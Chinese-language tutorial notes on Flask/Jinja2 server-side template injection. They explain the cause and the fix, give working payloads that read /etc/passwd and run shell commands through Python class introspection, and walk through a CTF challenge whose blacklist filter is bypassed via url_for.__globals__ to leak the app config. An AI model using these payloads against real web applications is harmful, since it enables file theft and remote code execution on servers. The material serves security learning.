ssti漏洞
其漏洞的产生在于render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,而且Flask模板中使用了Jinja2作为模板渲染引擎,{{}}
在Jinja2中作为变量包裹标识符,在渲染的时候将{{}}
包裹的内容作为变量解析替换。
- 漏洞的解决方式:
将template中的<h3>%s!</h3>%url
更改为<h3>{{url}}</h3>
这样以来,Jinja2在模板渲染的时候将url的值替换掉{{url}}, 而不会对url内容进行二次渲染(这样即使url中含有{{}}也不会进行渲染,而只是把它当做普通字符串)
任意文件读取
类对象
‘’.__class__
可以获取当前实例的类对象
类对象中的属性__mro__
''.__class__.__mro__
获取当前类的继承类
类对象的方法__subclasses__()
''.__class__.__mro__[-1].__subclasses__()
返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)__mro__后面可以为-1或者2
我们可以找到具有文件读取功能的类,例如file对象
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__() :
try :
if "file" in str(item) :
print(num)
num+=1
except :
num+=1
continue
通过上面的python代码可以快速找到file对象的位置
假设file对象在40位:
payload:{{''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()}}
命令执行
我们还可以在object的所有子类中找可以引入了os模块的类,并以此来执行命令
#!usr/bin/env python
# encoding: utf-8
num=0
for item in ''.__class__.__mro__[-1].__subclass__() :
try :
if 'os' in item.__init__.__globals__ :
print(num)
num+=1
except :
num+=1
continue
通过上面的python代码可以找到包含os模块的类,构造命令执行语句
payload:{{''.__class__.__mro__[-1].__subclasses__()[num].__init__.__globals__['os'].system('ls')}}
就可以找到当前目录了
利用继承泄露信息
例如漏洞代码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
- 如果没有过滤
config
,则可以通过config来泄露flag,因为config作为flask的一个全局变量储存着flask应用的信息 - 如果能用self的话,可以通过
self.__dict__
来泄露flag - 如果没有过滤
()
的话,可以通过上面所说的__subclasses__()
来泄露得到flag
因为这里过滤了config,self和self,所以要访问到config,所以首先得找到全局变量current_app
可以通过如下两种方法使用config找到flag
__globals__['current_app'].config['FLAG']
top.app.config['FLAG']
可以通过x.__globals__
这样的格式,用py得到可以用的变量
可以知道url_for和get_flashed_messages的__globals__中均含有current_app
url_for.__globals__['current_app'].config
get_flashed_messages.__globals__['current_app'].config
都可以获得flag.